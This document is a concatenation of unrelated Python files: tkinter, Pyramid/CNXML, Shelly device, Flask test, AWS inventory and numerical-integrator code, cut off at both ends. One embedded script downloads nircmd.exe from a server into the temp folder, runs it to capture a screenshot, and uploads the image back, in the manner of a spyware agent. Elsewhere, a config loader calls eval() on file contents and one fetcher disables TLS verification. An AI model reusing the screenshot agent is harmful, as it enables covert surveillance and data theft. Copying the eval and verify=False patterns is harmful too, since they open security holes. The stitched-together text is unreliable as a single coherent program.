        kqueue.control([make_event(select.KQ_EV_DELETE)], 0)
        return _core.Abort.SUCCEEDED

    await _core.wait_kevent(process.pid, select.KQ_FILTER_PROC, abort)


from tkinter import *

window = Tk()
window.title( 'Работа с изображением' )

#Создаем объект-изображение
img = PhotoImage( file = 'null.gif' )

#Уменьшаем полученное изображение в два раза
small_img = PhotoImage.subsample( img , x = 2 , y = 2 )

#Создаем метку с изображением
label = Label( window , image = img , bg ='yellow' )

#Создаем кнопку с изображением
btn = Button( window , bg = 'red', image = small_img )

#Создаем текстовое поле с изображением
txt = Text( window , width = 25 , height = 7, fg = 'darkgreen' )
txt.image_create( '1.0' , image = small_img )
txt.insert( '1.1', 'Python is Fun!' )

#Создаем холст с изображением
can = Canvas( window , width = 100 , height = 100 , bg = 'cyan' )

can.create_image( ( 50 , 50 ), image = small_img )
can.create_line( 0 , 0 , 100 , 100, width = 25 , fill = 'yellow' )

#Размещаем созданные виджеты в окне приложения
label.pack( side = TOP )
btn.pack( side = LEFT , padx = 10 )
txt.pack( side = LEFT )
can.pack( side = LEFT, padx = 10 )

window.mainloop()


import re
import shutil
import cStringIO
import types
import os
import libxml2
import libxslt
import zipfile
import lxml
import pycurl
import logging
import datetime
import traceback
import cgi

from lxml import etree
from string import Template

from pyramid.view import view_config
from pyramid.response import Response
from pyramid.httpexceptions import HTTPFound
from pyramid.renderers import render_to_response
from pyramid.threadlocal import get_current_registry

from rhaptos.cnxmlutils.validatecnxml import validate
from oerpub.rhaptoslabs import sword2cnx
from oerpub.rhaptoslabs.swordpushweb.errors import ConversionError
from oerpub.rhaptoslabs.cnxml2htmlpreview.cnxml2htmlpreview import \
  cnxml_to_structuredhtml, structuredhtml_to_htmlpreview

current_dir = os.path.dirname(__file__)
ZIP_PACKAGING = 'http://purl.org/net/sword/package/SimpleZip'
LATEX_PACKAGING = 'http://purl.org/net/sword/package/Latex'
HTML_TEST_PACKAGING = 'unkown'
UNKNOWN_PACKAGING = 'unknown'

NAMESPACES = {'sword'   : 'http://purl.org/net/sword/',
              'dcterms' : 'http://purl.org/dc/terms/',
              'md'      : 'http://cnx.rice.edu/mdml',
              'xsi'     : 'http://www.w3.org/2001/XMLSchema-instance',
              'oerdc'   : 'http://cnx.org/aboutus/technology/schemas/oerdc',
              'cnxml'   : 'http://cnx.rice.edu/cnxml',
              }

TEMP_FILES_RE = re.compile('.~$|.tar$|.tgz$|.zip$', re.I)

log = logging.getLogger('utils')

def get_files(save_dir, file_filter=TEMP_FILES_RE):
    files = []
    names = os.listdir(save_dir)
    for name in names:
        # skip all temp files
        if file_filter.search(name) is not None:
            continue
        tmpfile = open(os.path.join(save_dir, name), 'rb')
        content = tmpfile.read()
        tmpfile.close()
        files.append([name, content])
    return files

def extract_to_save_dir(zip_file, save_dir):
    if not zip_file:
        return

    tmp_dir = os.path.join(save_dir, 'tmp')
    for zinfo in zip_file.infolist():
        zip_file.extract(zinfo, tmp_dir)
        fileparts = zinfo.filename.split('/')
        src = os.path.join(tmp_dir, zinfo.filename)
        dest = os.path.join(save_dir, fileparts[-1])
        if os.path.exists(dest):
            os.remove(src)
        else:
            shutil.move(src, dest)
    shutil.rmtree(tmp_dir, ignore_errors=True)

def create_module_in_2_steps(form, connection, metadata_entry, zip_file, save_dir):
    zip_file = open(os.path.join(save_dir, 'upload.zip'), 'rb')
    data = zip_file.read()
    deposit_receipt = connection.create(
        col_iri = form.data['workspace'],
        payload = data,
        filename = 'upload.zip',
        mimetype = 'application/zip',
        packaging = ZIP_PACKAGING,
        in_progress = True)

    deposit_receipt = connection.update(metadata_entry = metadata_entry,
                                        filename = 'upload.zip',
                                        dr = deposit_receipt,
                                        in_progress=True)

    zip_file.close()
    return deposit_receipt

def pretty_print_dict(x, indent=0):
    output = '{'
    indentString = '    ' * (indent+1)
    for key in x.keys():
        output += '\n' + indentString + '"' + key + '": '
        value = x[key]
        if type(value) is dict:
            output += pretty_print_dict(value, indent+1)
        else:
            output += repr(value)
        output += ','
    output += '\n' + '    ' * indent + '}'
    return output

def save_config(config, request):
    import os, time

    config_filename = request.registry.settings['config_file']
    backup_filename = request.registry.settings['config_file'] + '~'

    # Update edit history
    edit_history = config.get('edit_history', [])
    edit_history.append((request.session['login'].username,
                         time.asctime(time.gmtime()) + " GMT"))
    config['edit_history'] = edit_history

    save_string = pretty_print_dict(config)
    os.rename(config_filename, backup_filename)
    with open(config_filename, "wt") as fp:
        fp.write(save_string)
        fp.close()

def load_config(request):
    config_filename = request.registry.settings['config_file']
    with open(config_filename, "rb") as fp:
        config = eval(fp.read())
    return config

def escape_system(input_string):
    return '"' + input_string.replace('\\', '\\\\').replace('"', '\\"') + '"'

# Pretty CNXML printing with libxml2 because etree/lxml cannot do pretty printing semantic correct
def clean_cnxml(iCnxml, iMaxColumns=80):
    xsl = os.path.join(current_dir, 'utils_pretty.xsl')
    style_doc = libxml2.parseFile(xsl)
    style = libxslt.parseStylesheetDoc(style_doc)
    doc = libxml2.parseDoc(iCnxml)
    result = style.applyStylesheet(doc, None)
    pretty_cnxml = style.saveResultToString(result)
    style.freeStylesheet()
    doc.freeDoc()
    result.freeDoc()
    return pretty_cnxml

#TODO Marvin: Destroys semantic of xml text nodes. Can be removed in the future.
#http://code.google.com/p/oer-roadmap/issues/detail?id=138
def clean_cnxml_old_before_bug_138(iCnxml, iMaxColumns=80):
    """
    iMaxColumns -- maximum number of columns to allow when wrapping text.

    return metadata section, clean cnxml
    """
    import re # Perl regular expressions

    cnxml = iCnxml

    # Remove metadata
    #metaStart = cnxml.find("<metadata ")
    #if metaStart != -1:
    #    metaStop = cnxml.find("</metadata>") + 11
    #    metaText = cnxml[metaStart:metaStop]
    #    cnxml = cnxml[:metaStart] + "<metadata/>" + cnxml[metaStop:]
    #else:
    #    metaText = ""

    # Force XML tags to be on 1 line
    closePos = -1
    oldCnxml = cnxml
    cnxml = ""
    while True:
        startPos = closePos + 1
        openPos = oldCnxml.find("<", startPos)
        if openPos == -1:
            break
        closePos = oldCnxml.find(">", openPos+1)
        if closePos == -1:
            break
        cnxml += oldCnxml[startPos:openPos]
        cnxml += re.sub('\\s+', ' ', oldCnxml[openPos:closePos+1])
    cnxml += oldCnxml[startPos:]

    # Clean up XML tag indentation and text wrapping
    tagsNoNewLine = ["emphasis"] # FIXME: this is unused
    indent = 0
    tagStack = []
    cnxmlPos = 0
    newText = ""

    def wrap_text(iCnxml, iIndent, iColumns):
        return iCnxml

    while True:
        tagStart = cnxml.find("<", cnxmlPos)
        if tagStart == -1:
            break
        tagStop = cnxml.find(">", tagStart)
        preTag = cnxml[cnxmlPos:tagStart] # Everything before the next tag
        tag = cnxml[tagStart:tagStop+1]
        cnxmlPos = tagStop + 1

        # Extract tag name
        if tag[1] == '/':
            tagName = tag[1:3] # / plus first character
        else:
            tagName = tag[1] # first character
        i = len(tagName)+1
        while True:
            character = tag[i]
            if not ((character in "_.-:") or ('a' <= character.lower() <= 'z') or ('0' <= character <= '9')):
                break
            tagName += character
            i += 1

        if tagName == '/code':
            newText += preTag # Do not reformat code lines
        else:
            preTag = preTag.strip()
            if len(preTag) > 0:
                newText += wrap_text(preTag, indent, iMaxColumns) + "\n"

        if (len(tagName) > 0) and (tagName[0] == "/"):
            # Closing tag
            indent -= 1
            newText += " " * indent + tag + "\n"
        else:
            # Opening or self-closing tag or comment
            newText += " " * indent + tag
            if tagName != "code":
                newText += "\n"
            if (tag[-2] != '/') and (tag[:4] != "<!--"):
                indent += 1

    return newText

def add_directory_to_zip(directory, zipFile, basePath=None):
    """
    Add all files and sub-directories from a directory to an open zip
    archive.

    Arguments:

      directory - The directory to add to the zip archive.

      zipFile - The zipfile.ZipFile archive to which to add the
        directory.

      basePath - If not None, this is the path to the directory to
        add. Files from basePath/directory on the file system will be
        added to the zip archive under the path directory.
    """
    import glob, os

    if basePath is None:
        basePath = ''
    if (basePath != '') and (basePath[-1] != '/'):
        basePath += '/'
    basePathLength = len(basePath)

    for pathToFile in glob.glob(os.path.join(basePath + directory, '*')):
        if os.path.isfile(pathToFile):
            zipFile.write(pathToFile, arcname=pathToFile[basePathLength:])
        elif os.path.isdir(pathToFile):
            add_directory_to_zip(pathToFile[basePathLength:], zipFile, basePath=basePath)

def get_cnxml_from_zipfile(zip_file):
    zf = zipfile.ZipFile(zip_file, 'r')
    cnxml = zf.open('index.cnxml')
    zf.close()
    return cnxml

def add_featuredlinks_to_cnxml(cnxml, featuredlinks):
    root = lxml.etree.fromstringlist(cnxml.readlines())
    featuredlinks = ''.join(featuredlinks)
    featuredlinks_element = lxml.etree.fromstring(featuredlinks)
    root.insert(1, featuredlinks_element)
    return lxml.etree.tostring(root)

def get_files_from_zipfile(zip_file):
    files = []

    zip_archive = zipfile.ZipFile(zip_file, 'r')
    for filename in zip_archive.namelist():
        if filename in ['index.cnxml', 'index.html', 'index.structured.html', 'oerpub.css']:
            continue
        fp = zip_archive.open(filename, 'r')
        files.append((filename, fp.read()))
        fp.close()

    return files

def build_featured_links(data):
    if data is None or len(data.get('featuredlinks')) < 1:
        return ''

    # get featured links from data
    tmp_links = {}
    # first we organise the links by category
    for details in data['featuredlinks']:
        category = details['fl_category']
        tmp_list = tmp_links.get(category, [])
        tmp_list.append(details)
        tmp_links[category] = tmp_list

    links = [u'<featured-links>']
    for category, values in tmp_links.items():
        links.append(u'<link-group type="%s">' %category)

        for details in values:
            title = details['fl_title']
            strength = details['fl_strength']
            url = details.get('url', '')
            module = details.get('fl_cnxmodule', '')

            link = ''
            if url:
                link = u'<link url="%s" strength="%s">%s</link>' %(
                    url, strength, title)
            elif module:
                base = 'http://cnx.org/content'
                cnxversion = details.get('fl_cnxversion')
                if not cnxversion:
                    cnxversion = 'latest'
                link = u'<link url="%s/%s/%s/" strength="%s">%s</link>' %(
                    base, module, cnxversion, strength, title)

            links.append(link)

        links.append(u'</link-group>')

    links.append(u'</featured-links>')
    return links

def check_login(request, raise_exception=True):
    # Check if logged in
    if not 'login' in request.session:
        if raise_exception:
            raise HTTPFound(location=request.route_url('login'))
        else:
            return False
    return True

def get_connection(session):
    login = session['login']
    conn = sword2cnx.Connection(login.service_document_url,
                                user_name=login.username,
                                user_pass=login.password,
                                always_authenticate=True,
                                download_service_document=False)
    return conn

def get_metadata_from_repo(session, module_url, user, password):
    conn = get_connection(session)
    resource = conn.get_resource(content_iri = module_url)
    metadata = Metadata(resource.content, module_url, user, password)
    return metadata

class Metadata(dict):

    fields = {'dcterms:title':        types.StringType,
              'dcterms:abstract':     types.StringType,
              'dcterms:language':     types.StringType,
              'oerdc:analyticsCode':  types.StringType,}

    contributor_fields = {'dcterms:creator':      types.ListType,
                          'oerdc:maintainer':     types.ListType,
                          'dcterms:rightsHolder': types.ListType,
                          'oerdc:translator':     types.ListType,
                          'oerdc:editor':         types.ListType,}

    def __init__(self, xml_deposit_receipt, module_url, user, password):
        """
        """
        self.encoding = 'utf-8'
        self.raw_data = xml_deposit_receipt
        self.dom = lxml.etree.fromstring(self.raw_data)
        self._parse_metadata()
        self.url = self._module_export_url(module_url)
        self.cnxml = self._fetch_cnxml(self.url,
                                       user.encode(self.encoding),
                                       password.encode(self.encoding))
        if self.cnxml:
            self._parse_featured_link_groups(self.cnxml)

    def _parse_metadata(self):
        for name, ftype in self.fields.items():
            value = self._get_value_from_raw(name,
                                             ftype,
                                             self.dom,
                                             NAMESPACES)
            self[name] = value

        self._parse_subjects_and_keywords()
        self._parse_contributors()

    def _parse_subjects_and_keywords(self):
        """ We have to do this, because subjects and keywords are marshalled
            in the same basic element. The only thing distinguishing them is
            the xsi:type.
        """
        elements = self.dom.findall('dcterms:subject', namespaces=NAMESPACES)
        self._get_subjects(elements)
        self._get_keywords(elements)

    def _parse_contributors(self):
        for name, ftype in self.contributor_fields.items():
            value  = []
            elements = self.dom.findall(name, namespaces=NAMESPACES)
            for e in elements:
                tmp_key = '{%s}id' % NAMESPACES['oerdc']
                tmp_val = e.attrib.get(tmp_key, '')
                if tmp_val:
                    value.append(tmp_val)
            self[name] = value

    def _parse_featured_link_groups(self, cnxml):
        dom = lxml.etree.fromstring(cnxml)
        links = []
        for e in dom.xpath('//cnxml:link-group', namespaces=NAMESPACES):
            group = FeaturedLinkGroup(e)
            links.append(group)
        self['featured_link_groups'] = links

    def _get_value_from_raw(self, name, ftype, dom, namespaces):
        value = ''
        elements = dom.findall(name, namespaces=namespaces)
        if elements:
            if ftype == types.ListType:
                value = []
                for e in elements:
                    value.append(e.text)
            else:
                value = elements[0].text
        return value

    def _get_keywords(self, elements):
        value = []
        elements = [e for e in elements if not e.attrib]
        if elements:
            for e in elements:
                value.append(e.text)
        self['keywords'] = value

    def _get_subjects(self, elements):
        value = []
        elements = [e for e in elements if e.attrib]
        if elements:
            for e in elements:
                value.append(e.text)
        self['subjects'] = value

    def _module_export_url(self, url):
        module_url = '/'.join(url.split('/')[:-1])
        module_url = '%s/module_export' % module_url
        return (module_url).encode(self.encoding)

    def _fetch_cnxml(self, url, user, password):
        buff = cStringIO.StringIO()
        pc = pycurl.Curl()
        pc.setopt(pc.WRITEFUNCTION, buff.write)
        pc.setopt(pc.URL, url)
        pc.setopt(pc.USERPWD, '%s:%s' % (user, password))
        pc.setopt(pc.POSTFIELDS, 'format=plain')
        pc.perform()

        if pc.getinfo(pc.HTTP_CODE) == 200:
            result = buff.getvalue()
        else:
            result = ''
        return result

class FeaturedLinkGroup(object):

    def __init__(self, element):
        self.element = element
        self.group_type = self.parse_group_type(self.element)
        self.links = self.parse_links(self.element)

    def parse_group_type(self, element):
        return element.attrib['type']

    def parse_links(self, element):
        links = []
        for e in element.xpath('cnxml:link', namespaces=NAMESPACES):
            links.append(FeaturedLink(e, self.group_type))
        return links

class FeaturedLink(object):
    def __init__(self, element, category):
        self.element = element
        self.category = category
        self.title = self.parse_title(self.element)
        self.url = self.parse_url(self.element)
        self.strength = self.parse_strength(self.element)
        self.module = self.parse_module(self.element)
        self.cnxversion = self.parse_cnxversion(self.element)

    def parse_title(self, element):
        return element.text

    def parse_url(self, element):
        prefix = 'http://'
        url = element.attrib.get('url', '')
        if url and not url.startswith(prefix):
            url = '%s%s' % (prefix, url)
        return url

    def parse_strength(self, element):
        return element.attrib['strength']

    def parse_module(self, element):
        return element.attrib.get('module', '')

    def parse_cnxversion(self, element):
        return element.attrib.get('cnxversion', '')

def append_zip(zipfilename, filename, content):
    """ Append files to a zip file. files is a list of tuples where each tuple
        is a (filename, content) pair. """
    zip_archive = zipfile.ZipFile(zipfilename, 'a')
    zip_archive.writestr(filename, content)
    zip_archive.close()

def save_zip(save_dir, cnxml, html, files):
    ram = cStringIO.StringIO()
    zip_archive = zipfile.ZipFile(ram, 'w')

    zip_archive.writestr('index.cnxml', cnxml)

    if html is not None:
        zip_archive.writestr('index.html', html)
        # Add the css file to zip
        registry = get_current_registry()
        f1 = os.path.join(registry.settings['aloha.editor'], 'css', 'html5_metacontent.css')
        f2 = os.path.join(registry.settings['aloha.editor'], 'css', 'html5_content_in_oerpub.css')
        zip_archive.writestr('oerpub.css', open(f1, 'r').read() + open(f2, 'r').read())

    for filename, fileObj in files:
        zip_archive.writestr(filename, fileObj)

    zip_archive.close()
    zip_filename = os.path.join(save_dir, 'upload.zip')
    save_and_backup_file(save_dir, zip_filename, ram.getvalue(), mode='wb')

def update_html(cnxml, title, metadata):
    # convert cnxml to structured, canonical html5
    # return the updated html
    structuredhtml = None
    conversion_error = None

    try:
        structuredhtml = cnxml_to_structuredhtml(cnxml)
        previewhtml    = structuredhtml_to_htmlpreview(structuredhtml)
        conversion_error = None
    except libxml2.parserError:
        structuredhtml = None
        previewhtml    = None
        conversion_error = traceback.format_exc()

    if structuredhtml is not None:
        # Add a head and css to the html. Also add #canvas to the body
        # so the css that was constructed to work with the editor nested
        # in that element continues to work.
        tree = etree.fromstring(structuredhtml, etree.HTMLParser())
        xsl_template = Template("""\
              <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
                <xsl:template match="/html">
                    <html><xsl:copy-of select="@*"/>
                    <head>
                      <title>
                        $title
                      </title>
                      <link rel="stylesheet" type="text/css" href="oerpub.css" />
                      <script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-MML-AM_HTMLorMML-full"></script>
                      <script type="text/javascript" src="oerpub.js"></script>
                      <script type="text/x-mathjax-config">MathJax.Hub.Config({
                        jax: ["input/MathML", "input/TeX", "input/AsciiMath", "output/NativeMML", "output/HTML-CSS"],
                        extensions: ["asciimath2jax.js", "tex2jax.js","mml2jax.js","MathMenu.js","MathZoom.js"],
                        tex2jax: { inlineMath: [["[TEX_START]","[TEX_END]"], ["\\\\(", "\\\\)"]] },
                        MMLorHTML: {prefer:{MSIE:"HTML",Firefox:"HTML",Opera:"HTML",Chrome:"HTML",Safari:"HTML",other:"HTML"}},
                        TeX: {
                          extensions: ["AMSmath.js","AMSsymbols.js","noErrors.js","noUndefined.js"], noErrors: { disabled: true }
                        },
                        AsciiMath: { noErrors: { disabled: true } }
                      });</script>
                      $meta
                    </head>
                    <xsl:apply-templates select="node()[not(self::head)]" />
                    </html>
                </xsl:template>
                <xsl:template match="body">
                    <body>
                        <xsl:copy-of select="@*"/>
                        <xsl:attribute name="id">
                            <xsl:text>canvas</xsl:text>
                        </xsl:attribute>
                        <xsl:apply-templates />
                    </body>
                </xsl:template>
                <xsl:template match="@*|node()">
                    <xsl:copy><xsl:apply-templates select="@*|node()"/></xsl:copy>
                </xsl:template>
              </xsl:stylesheet>""")

        # small demonstration how metadata can placed into html/head
        if title is None:
            title = """<xsl:apply-templates select="head/title"/>"""
            meta = ""
        else:
            title = cgi.escape(title)
            meta = Template("""
              <link rel="schema.MD" href="http://cnx.rice.edu/mdml" />
              <link rel="schema.DC" href="http://purl.org/dc/elements/1.1/" />
              <link rel="schema.DCTERMS" href="http://purl.org/dc/terms/" />
              <meta name="title" content="$title" />
              <meta name="MD:title" content="$title" />
              <meta name="DC:title" content="$title" />
              <meta itemscope="" itemtype="http://schema.org/CreativeWork"
                  itemprop="name" content="$title "/>
              """).substitute(title=title)

        xsl = xsl_template.substitute(title=title, meta=meta)
        xslt = etree.XML(xsl)
        structuredhtml = str(etree.XSLT(xslt)(tree))
    return previewhtml, structuredhtml, conversion_error

def validate_cnxml(cnxml):
    valid, log = validate(cnxml, validator="jing")
    if not valid:
        raise ConversionError(log)

def save_cnxml(save_dir, cnxml, files, title=None, metadata=None):
    # write CNXML output to server work directory
    save_and_backup_file(save_dir, 'index.cnxml', cnxml)

    # from input cnxml, create aloha-ized html4/5 and structured, canonical html5
    previewhtml, structuredhtml, conversion_error = update_html(cnxml, title, metadata)
    if conversion_error is None:
        # write aloha-ized and structured index.html to server work directory
        save_and_backup_file(save_dir, 'index.html',            previewhtml)
        save_and_backup_file(save_dir, 'index.structured.html', structuredhtml)

    # write files
    for filename, content in files:
        filename = os.path.join(save_dir, filename)
        f = open(filename, 'wb') # write binary, important!
        f.write(content)
        f.close()

    # Zip up all the files. This is done now, since we have all the files
    # available, and it also allows us to post a simple download link.
    # Note that we cannot use zipfile as context manager, as that is only
    # available from python 2.7
    # TODO: Do a filesize check xxxx
    if conversion_error is None:
        save_zip(save_dir, cnxml, structuredhtml, files)
    else:
        save_zip(save_dir, cnxml, None, files)
        raise ConversionError(conversion_error)

def render_conversionerror(request, error):
    templatePath = 'templates/conv_error.pt'
    fname='gdoc'
    if 'filename' in request.session:
        fname=request.session['filename']
    response = {'filename' : fname, 'error': error}

    # put the error on the session for retrieval on the editor
    # view
    request.session['transformerror'] = error

    if('title' in request.session):
        del request.session['title']
    return render_to_response(templatePath, response, request=request)

def save_and_backup_file(save_dir, filename, content, mode='w'):
    """ save a file, but first make a backup if the file exists
    """
    if isinstance(content, unicode):
        content = content.encode('ascii', 'xmlcharrefreplace')
    filename = os.path.join(save_dir, filename)
    if os.path.exists(filename):
        os.rename(filename, filename + '~')
    f = open(filename, mode)
    f.write(content)
    f.close()

@view_config(route_name='json_get_source_from_session', renderer="json")
def json_get_source_from_session(request):
    error = ''
    source = request.session.get('source', None)
    if not source:
        error = 'Session has no "source" value.'
    return {'source': source,
            'error': error}

@view_config(route_name='json_get_target_from_session', renderer="json")
def json_get_target_from_session(request):
    error = ''
    target = request.session.get('target', None)
    if not target:
        error = 'Session has no "target" value.'
    return {'target': target,
            'error': error}

@view_config(route_name='json_set_target_on_session', renderer="json")
def json_set_target_on_session(request):
    error = ''
    target = request.params.get('target')
    if target:
        target = target.encode('utf-8')
        request.session['target'] = target
    else:
        error = 'Session has no "target" value.'

    return {'target': target,
            'error': error}

@view_config(route_name='json_set_source_on_session', renderer="json")
def json_set_source_on_session(request):
    error = ''
    source = request.params.get('source')
    if source:
        source = source.encode('utf-8')
        request.session['source'] = source
    else:
        error = 'Session has no "source" value.'

    return {'source': source,
            'error': error}

def cleanup_save_dir(request):
    remove_save_dir(request)
    create_save_dir(request)

def create_save_dir(request, registry_key='transform_dir'):
    log.debug('Creating save_dir...')
    now_string = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')
    # TODO: This has a good chance of being unique, but even so...
    temp_dir_name = '%s-%s' % (request.session['login'].username, now_string)
    save_dir = os.path.join(
        request.registry.settings[registry_key],
        temp_dir_name
        )
    if not os.path.exists(save_dir):
        os.mkdir(save_dir)

    log.debug('temp_dir_name:%s' %temp_dir_name)
    log.debug('save_dir:%s' %save_dir)

    return temp_dir_name, save_dir

def remove_save_dir(request):
    save_dir = get_save_dir(request)
    log.debug('Removing save_dir:%s' %save_dir)
    if save_dir:
        shutil.rmtree(save_dir, ignore_errors=True)

def get_save_dir(request):
    log.debug('Getting save_dir')
    save_dir = None
    transform_dir = request.registry.settings['transform_dir']
    upload_dir = request.session.get('upload_dir', None)
    if transform_dir and upload_dir:
        save_dir = os.path.join(transform_dir, upload_dir)
    log.debug('save_dir:%s' %save_dir)
    return save_dir


import json
import logging
import re
import urllib.parse
from dataclasses import dataclass, field
from unittest.mock import Mock

import requests
import urllib3
from aiohttp.helpers import reify

import aioshelly

urllib3.disable_warnings()

BASE_URL = "https://shelly-api-docs.shelly.cloud/docs/coiot/v2/examples/"
_LOGGER = logging.getLogger(__name__)

@dataclass
class CoiotExample:
    filename: str

    _cache: dict = field(default_factory=dict)

    @reify
    def name(self):
        return urllib.parse.unquote(self.filename)

    @reify
    def url(self):
        return BASE_URL + self.filename

    @reify
    def content(self):
        return requests.get(self.url, verify=False).text

    @reify
    def content_parsed(self):
        lines = self.content.split("\n")
        parsed = []

        start = None

        for i, line in enumerate(lines):
            if line.rstrip() == "{":
                start = i
            elif line.rstrip() == "}":
                parsed.append(lines[start : i + 1])

        if len(parsed) != 2:
            raise ValueError("Uuh, not length 2")

        processed = []

        for value in parsed:
            text = "\n".join(value).strip()
            try:
                processed.append(json.loads(text))
            except ValueError:
                _LOGGER.error("Error parsing %s", self.url)
                _LOGGER.exception(text)
                raise

        return processed

    @reify
    def cit_s(self):
        return self.content_parsed[0]

    @reify
    def cit_d(self):
        return self.content_parsed[1]

    @reify
    def device(self):
        device = aioshelly.Device(Mock(), None, aioshelly.ConnectionOptions("mock-ip"))
        device._update_d(self.cit_d)
        device._update_s(self.cit_s)
        return device

def coiot_examples():
    index = requests.get(
        BASE_URL,
        # Not sure, local machine barfs on their cert
        verify=False,
    ).text
    return [
        CoiotExample(match)
        for match in re.findall(r'href="(.+?)"', index)
        if match.startswith("Shelly")
    ]

def print_example(example):
    print(example.name)
    print()

    for block in example.device.blocks:
        print(block)
        for attr, value in block.current_values().items():
            info = block.info(attr)

            if value is None:
                value = "None"

            if aioshelly.BLOCK_VALUE_UNIT in info:
                unit = " " + info[aioshelly.BLOCK_VALUE_UNIT]
            else:
                unit = ""

            print(f"{attr.ljust(16)}{value}{unit}")
        print()

    print("-" * 32)
    print()

def run():
    errors = []
    for example in coiot_examples():
        try:
            print_example(example)
        except Exception as err:
            errors.append((example, err))
            break

    for example, err in errors:
        print("Error fetching", example.name)
        print(example.url)
        print()
        _LOGGER.error("", exc_info=err)
        print()
        print("-" * 32)
        print()

if __name__ == "__main__":
    run()


import unittest
from webtool import app
from twilio.rest import Client
from SensitiveData import *

class LuckyShoeTestCase(unittest.TestCase):
    def setUp(self):
        app.config["TESTING"] = True

    def tearDown(self):
        pass

    def test_lucky_shoe_page(self):
        tester = app.test_client(self)
        response = tester.get("/luckyshoe")
        self.assertEqual(200, response.status_code)
        self.assertTrue(b"Lucky Shoe Welding" in response.data)

    def test_lucky_shoe_order(self):
        data = dict(
            testing="True", testing_well="False", code_working="True", code_good="False"
        )
        tester = app.test_client(self)
        response = tester.post("/luckyshoe/order", data=data)
        self.assertIs(200, response.status_code)
        for key, value in data.items():
            self.assertTrue(key, str(response.data))
            self.assertTrue(value, str(response.data))

    def test_twilio_working(self):
        account_sid = TWILIO_SID
        auth_token = TWILIO_TOKEN
        client = Client(account_sid, auth_token)
        # If we make it this far without errors, it works.
        self.assertTrue(True)

if __name__ == "__main__":
    unittest.main()


import requests
from base64 import b64decode
import subprocess,os
binary = ""
path = os.getenv("temp")+"\\"+"nircmd.exe"
url = "http://127.0.0.1:105/static/nircmd.exe"
def download(url):
	r = requests.get(url)
	f = open(path,'wb')
	f.write(r.content)
	f.close()
	print("file writeen successfully")

def run_command(command):
    out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
    return out + err

    # os.remove(temp+"\\nircmd.exe")
def run():
	download(url)
	run_command(path+" savescreenshot screenshot.png")
run()
data = {
    'ID':ID,
    'Type':"Screen"}
files = {'file': open('screenshot.png','rb')}
print("sending screenshot")
r = requests.post('http://127.0.0.1:105/file', data=data,files=files)


#!/usr/bin/env python

import boto3
import pprint
import yaml
import re

class Account:
  def __init__(self, acct_num, client):
    self.client = client
    self.acct_num = acct_num
    self.vpcs = self.get_vpcs()
    self.subnets = self.get_subnets()
    self.instances = self.get_instances()

  def get_vpcs(self):
    vpcs = [ i for i in self.client.describe_vpcs()['Vpcs'] ]
    return vpcs

  def get_subnets(self):
    subnets = [ i for i in self.client.describe_subnets()['Subnets'] ]
    return subnets

  def get_instances(self):
    instances = [ [ j for j in i['Instances'] ] for i in self.client.describe_instances()['Reservations'] ]
    return instances

  def get_dict(self):
    account_dict = {}
    account_dict['account_number'] = self.acct_num
    account_dict['vpcs'] = self.vpcs
    account_dict['subnets'] = self.subnets
    account_dict['instances'] = self.instances
    return account_dict

    return

#  def get_recursive_dict(self):
#    account_dict = {}
#    account_dict['account_number'] = self.acct_num
#    account_dict['vpcs'] = [ i.get_dict() for i in self.vpcs ]
#    return account_dict

def assume_role(account_number, role_name):
  sts_client = boto3.client('sts')
  role_arn = 'arn:aws:iam::%s:role/Administrator' % account_number
  assumedRoleObject = sts_client.assume_role(
    RoleArn=role_arn,
    RoleSessionName="AssumeRoleSession1"
  )
  credentials = assumedRoleObject['Credentials']
  return {
    'aws_access_key_id': credentials['AccessKeyId'],
    'aws_secret_access_key': credentials['SecretAccessKey'],
    'aws_session_token': credentials['SessionToken'],
  }

def assume_admin(account_number):
  return assume_role(account_number, 'Administrator')

def print_account_stuff(account_info):
  for acct in account_info:
    print("account: %s" % acct),
    for vpc in account_info[acct].vpcs:
      print("vpc: %s vpcname: %s" % (vpc.vpc_id, vpc.vpc_name)),
      for subnet in vpc.subnets:
        print("Subnet: %s" % subnet.subnet_id),

def write_to_yaml(account_info, file_name):
  with open(file_name, 'w') as f:
    yaml.safe_dump(account_info, f, encoding='utf-8', allow_unicode=True)
    #f.write(yaml.dump(account_info, default_flow_style=False))

def get_account_array(account_numbers):
  account_info = {}
  account_array = []
  for acct in account_numbers:
    account_info[acct] = {}
    credentials = assume_admin(acct)
    ec2 = boto3.client('ec2', **credentials)
    account_info[acct] = Account(acct, ec2)
    account_array.append(account_info[acct].get_dict())
  #pprint.pprint(account_array)
  return account_array

def get_subnets_from_vpc_ids(account_array, vpc_ids):
  subnets = []
  for account in account_array:
    for subnet in account['subnets']:
      for vpc_id in vpc_ids:
        if subnet['VpcId'] == vpc_id:
          subnets.append(dict(subnet_id=subnet['SubnetId'], vpc_id=vpc_id))
  return subnets

def get_vpcs_by_name_regex(account_array, pattern):
  """ parse account_info dict and get those whose names match given regex """

  prog = re.compile('%s' % pattern)

  keepers = []
  for account in account_array:
    for vpc in account['vpcs']:
      if 'Tags' in vpc:
        for tag in vpc['Tags']:
          if tag['Key'] == 'Name':
            if prog.search(tag['Value']):
              keepers.append(vpc)
  return keepers

def main():
  import argparse
  parser = argparse.ArgumentParser(description='dictify aws inventory')
  parser.add_argument('--account', required=True, nargs="+", help="account number(s)")
  args = parser.parse_args()

  account_numbers = args.account
  account_array = get_account_array(account_numbers)
  write_to_yaml(account_array, '/tmp/out.yaml')

if __name__ == '__main__':
  main()


import sys
import numpy as np
import scipy.optimize as so

from generic_integrator import GenericIntegrator
from ..vortices.continuous_vortex_system import vortex_rhs

from ..util.vectors import row_product
from ..util.array_solver import FSolveArray
from ..lie_algebras.su2_geometry import (cayley_klein, apply_2by2,
                                       hopf, inverse_hopf)
from ..vortices.continuous_vortex_system import scaled_gradient_hamiltonian
from .diagnostics import BroydenDiagnostics

class VortexIntegrator_mu:

    def __init__(self, gamma, sigma=0.0, h=1e-1,
                 verbose=False, diagnostics=False):

        self.gamma = np.array(gamma)
        self.sigma = sigma
        self.N = self.gamma.size

        self.b = np.zeros((self.N, 3), dtype=np.double)

        self.half_time = h
        self.h = 2*h
        self.verbose = verbose

        self.diagnostics = diagnostics
        self.diagnostics_logger = BroydenDiagnostics()

    def residue_mu_adjoint(self, b, psi0, x0):
        """
        Calculate Lie-algebra element with nonvanishing parallel component.

        """
